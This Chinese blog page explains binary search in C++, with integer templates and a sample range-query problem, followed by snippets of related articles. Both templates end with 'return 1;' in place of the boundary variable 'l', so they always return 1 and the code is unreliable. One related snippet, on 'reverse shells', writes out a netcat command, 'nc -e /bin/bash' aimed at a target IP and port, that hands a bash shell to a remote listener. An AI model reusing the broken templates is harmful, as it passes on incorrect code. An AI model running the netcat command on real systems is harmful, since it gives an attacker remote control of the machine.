当前位置: 首页 > news >正文

二分算法(c++版)

二分的本质是什么?

很多人会认为单调性是二分的本质,但其实其本质并非单调性,只是说,有单调性的可以进行二分,但是有些题目没有单调性我们也可以进行二分。其本质其实是一个边界问题,给定一个条件,在我们的区间中,有一部分满足这个条件,有一部分不满足这个条件,要求满足和不满足的边界值,这个时候我们便可以使用二分来解决这个问题。

整数二分:

基本步骤:

1.先找到中间值mid

2.先判断mid是否满足性质(check(mid))

3.若满足则缩小区间到[mid,r],l=mid,不满足则反之

4.更新边界

区间前半部分边界点(借用一下y总的画的图,也就是红色区间的边界点)

二分步骤:

1.先找到中间值mid=(l+r+1)/2

2.先判断mid是否满足红色区间的性质(check(mid))

3.若满足则缩小区间到[mid,r],若不满足则[l,mid-1](r=mid-1)

为什么要+1?

讲讲这里mid为什么要额外+1,因为 当l=r-1的时候,因为除以二向下取整mid的值为l,如果check(mid)成功返回true则mid的值还是l并不会发生改变会造成死循环,所以我们在后面+1,遇到这种情况发生时,mid就变成了r,避免了死循环的发生

模板如下:

int bsearch_1(int l,int r){while(l<r){int mid=l+r+1>>1;if(check(mid)) l=mid;else r=mid-1;}return 1;
}

 

区间后半部分边界点(也就是上图的绿色边界点)

 二分步骤:

1.先找到中间值mid=(l+r)/2

2.先判断mid是否满足绿色区间的性质(check(mid))

3.若满足则缩小区间到[l,mid],若不满足则[mid+1,r](l=mid+1)

模板如下:

int bserch_2(int l,int r){while(l<r){int mid=l+r>>1;if(check(mid)) r=mid;else l=mid+1;}return 1;
}

这里以一个例题来解释一下用法:

例题:

给定一个按照升序排列的长度为 n 的整数数组,以及 q个查询。

对于每个查询,返回一个元素 k 的起始位置和终止位置(位置从 0 开始计数)。

如果数组中不存在该元素,则返回 -1

输入格式

第一行包含整数 n 和 q,表示数组长度和询问个数。

第二行包含 n个整数(均在 1∼10000 范围内),表示完整数组。

接下来 q行,每行包含一个整数 k,表示一个询问元素。

输出格式

共 q行,每行包含两个整数,表示所求元素的起始位置和终止位置。

如果数组中不存在该元素,则返回 -1

数据范围

1≤n≤100000
1≤q≤10000
1≤k≤10000

输入样例:
6 3
1 2 2 3 3 4
3
4
5
输出样例:
3 4
5 5
-1 -1

 

相关文章:

二分算法(c++版)

二分的本质是什么&#xff1f; 很多人会认为单调性是二分的本质&#xff0c;但其实其本质并非单调性&#xff0c;只是说&#xff0c;有单调性的可以进行二分&#xff0c;但是有些题目没有单调性我们也可以进行二分。其本质其实是一个边界问题&#xff0c;给定一个条件&#xf…...

【C#】用于基于 UV DLP 的 3D 打印机的切片软件源码解析(一)DLP原理 GUI

0. 原理 基于 UV DLP 的 3D 打印机的工作原理是这样的&#xff1a; UV DLP 是一种使用数字光处理&#xff08;Digital Light Processing&#xff09;技术的 3D 打印方法&#xff0c;它利用紫外光&#xff08;UV&#xff09;来固化液态树脂&#xff0c;从而形成实体物体。UV DLP…...

Javase补充-Arrays类的常用方法汇总

文章目录 一 . 排序方法二 . 查找方法三 . 判断是否相等的方法四 . 拷贝方法五 . 填充方法 一 . 排序方法 我们第一个要介绍的就是sort方法 这个排序实现的底层逻辑应该是十分复杂的,以我们目前的水平体系应该无法理解,我们今天尝试用我们可以理解的一种排序算法,插入排序来模…...

微信小程序-人脸检测-眨眼驱动ESP32蓝牙设备灯

前面2篇文章已经写了具体的人脸检测和蓝牙 这里直接结合&#xff0c;只列js 代码&#xff0c;剩下的其他代码在另外文章里面 https://blog.csdn.net/walle167/article/details/136261993 https://blog.csdn.net/walle167/article/details/136261919 上代码 import bleBehavior …...

怎么在wifi中实现手机和电脑文件互传

有时我们想手机电脑文件互传&#xff0c;数据线却不在身边&#xff0c;这时我们可以用MiXplorer来实现wifi中手机和电脑互相访问文件。 MiXplorer是一款来自著名安卓开发者论坛XDA的作品&#xff0c;免费且功能强大&#xff0c;被很多人誉为是“全能文件管理器”。 1.在手机上…...

07 STL 简介

目录 什么是STLSTL的版本STL的六大组件STL的重要性如何学习STLSTL的缺陷 1. 什么是STL c标准库的重要组成部分&#xff0c;不仅是一个可复用的组件库&#xff0c;而且是一个包罗数据结构和算法的软件框架 2. STL的版本 原始版本 Alexander Stepanov、Meng Lee在惠普实验室的…...

unity学习(39)——创建(create)角色脚本(panel)——静态(static)

1.发现一个非常实用的功能&#xff0c;点击unity中console的输出项&#xff0c;可以直接跳转到vs的代码页&#xff01; 2.static类&#xff08;变量&#xff09;有三个特点&#xff1a; &#xff08;1&#xff09;独一份&#xff08;2&#xff09;无法实例化。&#xff08;3&…...

MacOS环境下用powerline配置Terminal终端

Powerline 简介及安装配置 Powerline 是一个 stateless 状态栏&#xff0c;也就是一个全局状态/提示栏。你可以将其配置到你的 bash、Terminal、iTerm2 或 VIM 中&#xff0c;效果会如下所示&#xff1a; 你的 Mac 终端提示栏将会呈现如下图所示&#xff1a; 你的 VIM 状态…...

liunx单机项目部署

文章目录 1.liunx简介2.liunx的jdk安装2.liunx的tomcat安装3.liunx的mysql安装4.单机项目部署 1.liunx简介 Linux&#xff0c;一般指GNU/Linux&#xff08;单独的Linux内核并不可直接使用&#xff0c;一般搭配GNU套件&#xff0c;故得此称呼&#xff09;&#xff0c;是一种免费…...

SQL 中如何实现多表关联查询?

阅读本文之前请参阅----MySQL 数据库安装教程详解&#xff08;linux系统和windows系统&#xff09; 在SQL中&#xff0c;多表关联查询是通过使用JOIN操作来实现的&#xff0c;它允许你从两个或多个表中根据相关列的值来检索数据。以下是几种常见的JOIN类型&#xff1a; …...

oracle 设置权限 禁止删除用户

在Oracle中&#xff0c;可以通过修改系统角色来控制用户的操作权限。要禁止删除用户&#xff0c;需要将DROP USER这个特定的系统权限从相应的角色中移除。 下面是一种常见的方法&#xff0c;使用SQL语句进行操作&#xff1a; -- 创建新的角色&#xff0c;并为其分配所有必要的…...

港科夜闻|香港科大计划建立北部都会区卫星校园完善科大创新带,发展未来创新科技 未来医药发展及跨学科教育...

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大计划建立北部都会区卫星校园完善“科大创新带”&#xff0c;发展未来创新科技、未来医药发展及跨学科教育。香港科大校长叶玉如教授在2月22日的媒体会议上表示&#xff0c;香港科大将在北部都会区建立卫星校园&a…...

linux反弹shell简单使用

一、反弹shell&#xff08;NC正向反弹&#xff09; 1、靶机开启监听端口 格式&#xff1a; nc -lvvp [任意未占用的端口号] 例&#xff1a; nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式&#xff1a; nc -e /bin/bash [靶机ip] [靶机监听端口] 例&#xff1a; nc -e /bin…...

前后端分离Vue+nodejs校园论坛bbs系统x450z

开发语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode本论文拟采用计算机技术设计并开发的论坛bbs系统&#xff0c;主要是为用户提供服务。使得用户可以在系统上查看帖子信息、签到积分等…...

ChatGPT的能力边界在哪?

ChatGPT在今天被热炒&#xff0c;主要的原因不是因为它能和人聊天&#xff0c;或者能帮助人做作业。其实做作业这件事它做得并不好&#xff0c;虽然有些中学和大学的问题它能够解决&#xff0c;但是对于绝大部分问题&#xff0c;它给出的答案都是车轱辘话。 那ChatGPT被热炒的…...

Sentinel微服务流量治理组件实战下

目录 Sentinel控制台介绍 实时监控 簇点链路 流控规则 限流阈值类型 流控模式 流控效果 熔断降级规则 熔断策略之慢调用比例 熔断策略之异常比例 熔断策略之异常数 热点规则 系统规则——系统自适应保护 系统规则阈值类型 授权控制规则——来源访问控制&#xf…...

vue+node.js美食分享推荐管理系统 io551

&#xff0c;本系统采用了 MySQL数据库的架构&#xff0c;在开始这项工作前&#xff0c;首先要设计好要用到的数据库表。该系统的使用者有二类&#xff1a;管理员和用户&#xff0c;主要功能包括个人信息修改&#xff0c;用户、美食类型、美食信息、订单信息、美食分享、课程大…...

云原生超融合八大核心能力|ZStack Edge云原生超融合产品技术解读

企业数字化转型的焦点正在发生变化&#xff0c;云基础设施由资源到应用&#xff0c;数据中心从核心到边缘。面向云原生趋势&#xff0c;围绕应用升级&#xff0c;新一代超融合产品——云原生超融合应运而生。 ZStackEdge云原生超融合是基于云原生架构研发的新一代IT基础设施 …...

认识K8S

K8S K8S 的全称为 Kubernetes (K12345678S) 是一个跨主机容器编排工具 作用 用于自动部署、扩展和管理“容器化&#xff08;containerized&#xff09;应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序&#xff08;比如 Docker&#xff09;的集群…...

K8S-001-Virtual box - Network Config

A. 配置两个IP&#xff0c; 一个连接内网&#xff0c;一个链接外网: 1. 内网配置(Host only&#xff0c; 不同的 virutal box 的版本可以不一样&#xff0c;这些窗口可能在不同的地方&#xff0c;但是配置的内容是一样的): 静态IP 动态IP 2. 外网&#xff08;创建一个 Networ…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

C++初阶-list的底层

目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

React第五十七节 Router中RouterProvider使用详解及注意事项

前言 在 React Router v6.4 中&#xff0c;RouterProvider 是一个核心组件&#xff0c;用于提供基于数据路由&#xff08;data routers&#xff09;的新型路由方案。 它替代了传统的 <BrowserRouter>&#xff0c;支持更强大的数据加载和操作功能&#xff08;如 loader 和…...

CentOS下的分布式内存计算Spark环境部署

一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架&#xff0c;相比 MapReduce 具有以下核心优势&#xff1a; 内存计算&#xff1a;数据可常驻内存&#xff0c;迭代计算性能提升 10-100 倍&#xff08;文档段落&#xff1a;3-79…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

苍穹外卖--缓存菜品

1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据&#xff0c;减少数据库查询操作。 缓存逻辑分析&#xff1a; ①每个分类下的菜品保持一份缓存数据…...

Yolov8 目标检测蒸馏学习记录

yolov8系列模型蒸馏基本流程&#xff0c;代码下载&#xff1a;这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中&#xff0c;**知识蒸馏&#xff08;Knowledge Distillation&#xff09;**被广泛应用&#xff0c;作为提升模型…...

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器

拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件&#xff1a; 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...

Python网页自动化Selenium中文文档

1. 安装 1.1. 安装 Selenium Python bindings 提供了一个简单的API&#xff0c;让你使用Selenium WebDriver来编写功能/校验测试。 通过Selenium Python的API&#xff0c;你可以非常直观的使用Selenium WebDriver的所有功能。 Selenium Python bindings 使用非常简洁方便的A…...

[拓扑优化] 1.概述

常见的拓扑优化方法有&#xff1a;均匀化法、变密度法、渐进结构优化法、水平集法、移动可变形组件法等。 常见的数值计算方法有&#xff1a;有限元法、有限差分法、边界元法、离散元法、无网格法、扩展有限元法、等几何分析等。 将上述数值计算方法与拓扑优化方法结合&#…...